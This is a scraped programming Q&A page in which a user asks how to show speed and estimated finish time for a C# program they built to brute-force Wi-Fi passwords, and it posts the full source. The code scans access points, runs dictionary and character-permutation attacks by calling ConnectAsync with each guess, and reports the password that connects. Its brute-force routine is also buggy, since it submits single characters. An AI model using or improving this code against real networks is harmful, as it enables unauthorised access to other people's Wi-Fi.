c#


C# How to calculate speed and estimated time [on hold]


I have created program in C# to bruteforce wifi.How to calculate how many passwords are tested in second,how to calculate estimated to finish bruteforce and how also to show estimated time in progress bar?
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using SimpleWifi;
using NativeWifi;
using System.Reflection;
using System.Collections.ObjectModel;
using System.Net;
using System.Threading;
using System.Text.RegularExpressions;
namespace Wifi_Bruteforce
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private static Wifi wifi;
WlanClient wlan = new WlanClient();
List<string> passwords = new List<string>();
private String Alphaup = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
private String Alphalow = "abcdefghijklmnopqrstuvwxyz";
private String num = "0123456789";
private String splchar = "~!##$%^&*()_+`-={}|[]:;'<>?,.";
private String output = "";
Thread t;
private static int count = 0;
private void Form1_Load(object sender, EventArgs e)
{
wifi = new Wifi();
wifi.ConnectionStatusChanged += wifi_ConnectionStatusChanged;
List();
lowercase.Checked = false;
uppercase.Checked = false;
digits.Checked = false;
symbols.Checked = false;
userDefined.Checked = false;
userDefined.Enabled = false;
comboBox1.SelectedIndex = 0;
pauseAttack.Enabled = false;
stopAttack.Enabled = false;
}
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
if (comboBox1.SelectedIndex == 0)
{
tabPage5.Enabled = true;
tabPage6.Enabled = true;
tabPage7.Enabled = false;
tabPage8.Enabled = true;
mask.Enabled = false;
startAttack.Text = "Start Brute-force";
pauseAttack.Text = "Pause Brute-force";
stopAttack.Text = "Stop Brute-force";
}
if (comboBox1.SelectedIndex == 1)
{
tabPage5.Enabled = true;
tabPage6.Enabled = false;
tabPage7.Enabled = false;
tabPage8.Enabled = true;
mask.Enabled = true;
}
if (comboBox1.SelectedIndex == 2)
{
tabPage5.Enabled = false;
tabPage6.Enabled = false;
tabPage7.Enabled = true;
tabPage8.Enabled = true;
mask.Enabled = false;
startAttack.Text = "Start Dictionary Attack";
pauseAttack.Text = "Pause Dictionary Attack";
stopAttack.Text = "Stop Dictionary Attack";
}
if (comboBox1.SelectedIndex == 3)
{
tabPage5.Enabled = false;
tabPage6.Enabled = true;
tabPage7.Enabled = false;
tabPage8.Enabled = true;
mask.Enabled = false;
}
}
private void spaces_CheckedChanged(object sender, EventArgs e)
{
if (spaces.Checked)
output += " ";
else
output = Regex.Replace(output, "[ ]", "");
}
private void digits_CheckedChanged(object sender, EventArgs e)
{
if (digits.Checked)
output += num;
else
output = Regex.Replace(output, "[0-9]", "");
}
private void lowercase_CheckedChanged(object sender, EventArgs e)
{
if (lowercase.Checked)
output += Alphalow;
else
output = Regex.Replace(output, "[a-z]", "");
}
private void uppercase_CheckedChanged(object sender, EventArgs e)
{
if (uppercase.Checked)
output += Alphaup;
else
output = Regex.Replace(output, "[A-Z]", "");
}
private void symbols_CheckedChanged(object sender, EventArgs e)
{
if (symbols.Checked)
output = output + splchar;
else
output = Regex.Replace(output, "[^a-zA-Z0-9]", "");
}
private delegate void SetControlPropertyThreadSafeDelegate(
Control control,
string propertyName,
object propertyValue);
public static void SetControlPropertyThreadSafe(
Control control,
string propertyName,
object propertyValue)
{
if (control.InvokeRequired)
{
control.Invoke(new SetControlPropertyThreadSafeDelegate
(SetControlPropertyThreadSafe),
new object[] { control, propertyName, propertyValue });
}
else
{
control.GetType().InvokeMember(
propertyName,
BindingFlags.SetProperty,
null,
control,
new object[] { propertyValue });
}
}
private bool check(AccessPoint selectedAP)
{
Collection<String> connectedSsids = new Collection<string>();
if (WifiStatus.Connected.ToString() == "Connected")
{
foreach (WlanClient.WlanInterface wlanInterface in wlan.Interfaces)
{
try
{
Wlan.Dot11Ssid ssid = wlanInterface.CurrentConnection.wlanAssociationAttributes.dot11Ssid;
connectedSsids.Add(new String(Encoding.ASCII.GetChars(ssid.SSID, 0, (int)ssid.SSIDLength)));
}
catch (Exception)
{
return false;
}
}
foreach (string ssid in connectedSsids)
{
if (selectedAP.Name == ssid)
{
return true;
}
else
{
return false;
}
}
}
return false;
}
public static bool CheckForInternetConnection()
{
try
{
using (var client = new WebClient())
using (var stream = client.OpenRead("http://www.google.com"))
{
return true;
}
}
catch
{
return false;
}
}
private IEnumerable<AccessPoint> List()
{
IEnumerable<AccessPoint> accessPoints = wifi.GetAccessPoints().OrderByDescending(ap => ap.SignalStrength);
foreach (AccessPoint ap in accessPoints)
{
ListViewItem lvItem = new ListViewItem(ap.Name);
lvItem.SubItems.Add(ap.SignalStrength + "%");
lvItem.Tag = ap;
listView1.Items.Add(lvItem);
}
return accessPoints;
}
private IEnumerable<AccessPoint> Scan()
{
IEnumerable<AccessPoint> accessPoints = wifi.GetAccessPoints().OrderByDescending(ap => ap.SignalStrength);
return accessPoints;
}
private static void wifi_ConnectionStatusChanged(object sender, WifiStatusEventArgs e)
{
Console.WriteLine("\nNew status: {0}", e.NewStatus.ToString());
}
private void OnConnectedComplete(bool success)
{
Console.WriteLine("\nOnConnectedComplete, success: {0}", success);
}
private void dictionary_crack(AccessPoint selectedAP)
{
var timeEnded = DateTime.Now;
while (true)
{
_pauseEvent.WaitOne(Timeout.Infinite);
if (_shutdownEvent.WaitOne(0))
break;
if (passwords.Count == 0)
{
MessageBox.Show("Please Select a Wordlist");
return;
}
foreach (string pass in passwords)
{
//SetControlPropertyThreadSafe(label3, "Text", "Status: Trying Password: " + pass + " (" + count + " / " + passwords.Count + ")"); count++;
SetControlPropertyThreadSafe(label4, "Text", pass);
SetControlPropertyThreadSafe(label5, "Text", count.ToString());
count++;
// Auth
AuthRequest authRequest = new AuthRequest(selectedAP);
bool overwrite = true;
if (authRequest.IsPasswordRequired)
{
if (overwrite)
{
if (authRequest.IsUsernameRequired)
{
Console.Write("\r\nPlease enter a username: ");
authRequest.Username = Console.ReadLine();
}
authRequest.Password = pass;
if (authRequest.IsDomainSupported)
{
Console.Write("\r\nPlease enter a domain: ");
authRequest.Domain = Console.ReadLine();
}
}
}
selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
int i = Convert.ToInt32(textBox1.Text);
Thread.Sleep(i * 1000);
if (check(selectedAP) == true && CheckForInternetConnection() == true)
{
SetControlPropertyThreadSafe(label4, "Text", pass);
MessageBox.Show("Password is :" + pass, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
return;
}
}
}
}
private void button1_Click(object sender, EventArgs e)
{
}
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
System.Diagnostics.Process.Start(e.Link.LinkData.ToString());
}
private void button3_Click(object sender, EventArgs e)
{
listView1.Items.Clear();
List();
}
private void button7_Click(object sender, EventArgs e)
{
listView1.Items.Clear();
List();
}
//Dictionary
private void button4_Click(object sender, EventArgs e)
{
OpenFileDialog oFile = new OpenFileDialog();
openFileDialog1.InitialDirectory = "c:\\";
openFileDialog1.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
openFileDialog1.FilterIndex = 2;
openFileDialog1.RestoreDirectory = true;
string path;
if (oFile.ShowDialog() == DialogResult.OK)
{
path = oFile.FileName;
int counter = 0;
string line;
System.IO.StreamReader file = new System.IO.StreamReader(path);
while ((line = file.ReadLine()) != null)
{
passwords.Add(line);
counter++;
}
file.Close();
}
}
//Bruteforce
private void startAttack_Click(object sender, EventArgs e)
{
var timeStarted = DateTime.Now;
label25.Text = timeStarted.ToString();
var accessPoints = Scan();
AccessPoint selectedAP = null;
foreach (AccessPoint ap in accessPoints)
{
if (ap.Name == listView1.SelectedItems[0].Text)
{
selectedAP = ap;
}
}
if (comboBox1.SelectedIndex == 0)
{
startAttack.Enabled = false;
pauseAttack.Enabled = true;
startAttack.Enabled = true;
try
{
t = new Thread(() => bruteforce_crack(selectedAP));
t.IsBackground = true;
t.Start();
}
catch (Exception a)
{
MessageBox.Show(a.ToString());
}
}
if (comboBox1.SelectedIndex == 1)
{
try
{
t = new Thread(() => dictionary_crack(selectedAP));
t.IsBackground = true;
t.Start();
}
catch (Exception a)
{
MessageBox.Show(a.ToString());
}
}
}
public void bruteforce_crack(AccessPoint selectedAP)
{
ulong permutations = 0;
while (true)
{
_pauseEvent.WaitOne(Timeout.Infinite);
if (_shutdownEvent.WaitOne(0))
break;
char[] arr = output.ToCharArray();
int max = Convert.ToInt32(numericUpDown2.Value);
int min = Convert.ToInt32(numericUpDown1.Value);
for (int i = min; i <= max; i++)
{
permutations += (ulong)Math.Pow(arr.Count(), i);
}
SetControlPropertyThreadSafe(label31, "Text", permutations.ToString());
for (int i = min; i <= max; i++)
{
bruteforce(arr, "", 0, i, selectedAP);
}
}
}
string pass = "";
private void bruteforce(char[] fin, String pwd, int pos, int length, AccessPoint selectedAP)
{
var timeEnded = DateTime.Now;
if (pos < length)
{
foreach (char ch in fin)
{
bruteforce(fin, pwd + ch, pos + 1, length, selectedAP);
pass = ch.ToString();
// Auth
AuthRequest authRequest = new AuthRequest(selectedAP);
bool overwrite = true;
if (authRequest.IsPasswordRequired)
{
if (overwrite)
{
if (authRequest.IsUsernameRequired)
{
Console.Write("\r\nPlease enter a username: ");
authRequest.Username = Console.ReadLine();
}
authRequest.Password = pass;
if (authRequest.IsDomainSupported)
{
Console.Write("\r\nPlease enter a domain: ");
authRequest.Domain = Console.ReadLine();
}
}
}
selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
int i = Convert.ToInt32(textBox1.Text);
Thread.Sleep(i * 1000);
}
}
else
{
try
{
SetControlPropertyThreadSafe(label4, "Text", pass);
SetControlPropertyThreadSafe(label5, "Text", count.ToString());
count++;
if (check(selectedAP) == true && CheckForInternetConnection() == true)
{
SetControlPropertyThreadSafe(label4, "Text", pass);
MessageBox.Show("Password is :" + pass, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
return;
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
ManualResetEvent _shutdownEvent = new ManualResetEvent(false);
ManualResetEvent _pauseEvent = new ManualResetEvent(true);
private void pauseAttack_Click(object sender, EventArgs e)
{
if (pauseAttack.Text == "Pause")
{
pauseAttack.Text = "Resume";
_pauseEvent.Reset();
}
else if (pauseAttack.Text == "Resume")
{
pauseAttack.Text = "Pause";
_pauseEvent.Set();
}
}
private void stopAttack_Click(object sender, EventArgs e)
{
startAttack.Enabled = true;
pauseAttack.Enabled = false;
stopAttack.Enabled = false;
_shutdownEvent.Set();
_pauseEvent.Set();
t.Join();
}
}
}

Related Links

What can be used to visualize the hierarchy with unknown (infinitive) number of levels?
ExchangeService.GetUserAvailability return TimeSuggestion Ignore Time
I have a error in my code about “System.Format.Exception”
how to disable multiple textboxes from another form?
Honeywell Xenon 1900 barcode reader | read data | virtual com port
Name Can Be Simplified - Visual Studio
ASP.NET can not find DevExpress.XtraCharts
How do I get selected row value in C# WPF DataGrid?
UWP - binding multiple grid views to a list of lists
How to hide an implementation when using Visual Studio Code
Why escape sequence “\a” doesn't produce sound in Windows Form application?
How to add case insensitive form field validation in C#?
TextBox not resetting focus when reopening the dropdown in a ComboBox
How can one access all the files/directories in the user's recycle bin in WPF?
c# WCF client-server messaging/transaction optimization
asp.net mvc do nothing after several loop in ActionResult

Categories

HOME
azure-documentdb
cors
glsl
app-store
hiveql
ebay
terminal
perl6
ms-access-2010
kohana
gnuradio
pdf-generation
open-search-server
rethinkdb
yacc
urllib2
ldap-query
fine-uploader
hdf5
web-parts
openam
airbnb
orange
project-reactor
audio-streaming
udeploy
react-jsx
turn.js
ng-tags-input
grunt-contrib-uglify
inspec
smart-device
stack-trace
mex
large-files
dynamic-memory-allocation
custom-fields
meteor-accounts
edsdk
overflow
mplab
slim-lang
ports
pymunk
flex3
kofax
strategy-pattern
const
area
mockserver
scrapinghub
rivets.js
g77
django-tables2
ng-class
dna-sequence
dotnet-cli
sharpdevelop
r-commander
portaudio
timefield
stripes
consolidation
disconnect
qtruby
aws-kms
archiva
abstract
gulp-cdnizer
transport
avrcp
log-analysis
avd
jeet-grid
ultraedit
qf-test
pnunit
nest-initiative
android-relativelayout
sendy
traceur
image-preloader
starling-framework
pechkin
forward-declaration
friendly-url
coinbase-php
qt5.1
cron4j
junit-rule
mail-gem
teamsystem
derived-class
motorola-droid
advanceddatagrid
code-organization
zend-validate
mscorlib
soapexception
overlays
mismatch
hs-err
mediastreamsource
dongle
glassfish-embedded
hp-trim
opengl-to-opengles
onresize
unauthorized
moores-law

Resources

Encrypt Message